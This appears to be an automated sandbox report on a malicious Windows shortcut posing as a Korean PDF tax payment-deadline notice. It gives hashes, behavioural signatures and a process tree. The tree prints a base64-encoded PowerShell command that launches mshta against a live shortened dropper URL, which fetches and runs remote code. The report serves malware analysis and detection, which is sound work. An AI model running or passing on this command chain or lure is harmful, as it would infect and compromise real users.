Analysis
- max time kernel
148s - max time network
126s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
09/07/2026, 12:19
Static task
static1
Behavioral task
behavioral1
Sample
7월 신고 납부기한 통지서.pdf.lnk
Resource
win10v2004-20260513-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
7월 신고 납부기한 통지서.pdf.lnk
Resource
win11ltsc2024-20260706-en
5 signatures
150 seconds
General
- Target 7월 신고 납부기한 통지서.pdf.lnk
- Size 2KB
- Sample260709-pg9faabt2y
- SHA256 568b218e978409b5afe37f768a7b0d5fdde23f27f5ed2f39dde17f238e85e6a9
- MD5 77dbb247a11521e16b24b76399f14b6f
- SHA1 3aee1ea921bd6dd6a5aa2cf105b21257b8519727
- SHA512 765cb63eb94eb29715d95a2e5c6d7f3d089fc24861c70b174ff5dc796404bc9d97850e908bcbd44d558f746eef4bad3682372e55925691f667b70f39d17bc92c
- TLSH T1AE5110161EFA026AF373DB7257FAB6556537F824AB0349AC41C102401D21A14F87AFAF
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://link24.kr/3NL6KyG
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 5916 mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4544 powershell.exe 4544 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4544 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2808 wrote to memory of 4544 2808 cmd.exe 89 PID 4544 wrote to memory of 5916 4544 powershell.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\7월 신고 납부기한 통지서.pdf.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIABtAHMAYABoAHQAYQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAiAGgAdAB0AHAAcwA6AC8ALwBsAGkAbgBrADIANAAuAGsAcgAvADMATgBMADYASwB5AEcAIgA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://link24.kr/3NL6KyG3⤵
- Badlisted process makes network request
PID:5916
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-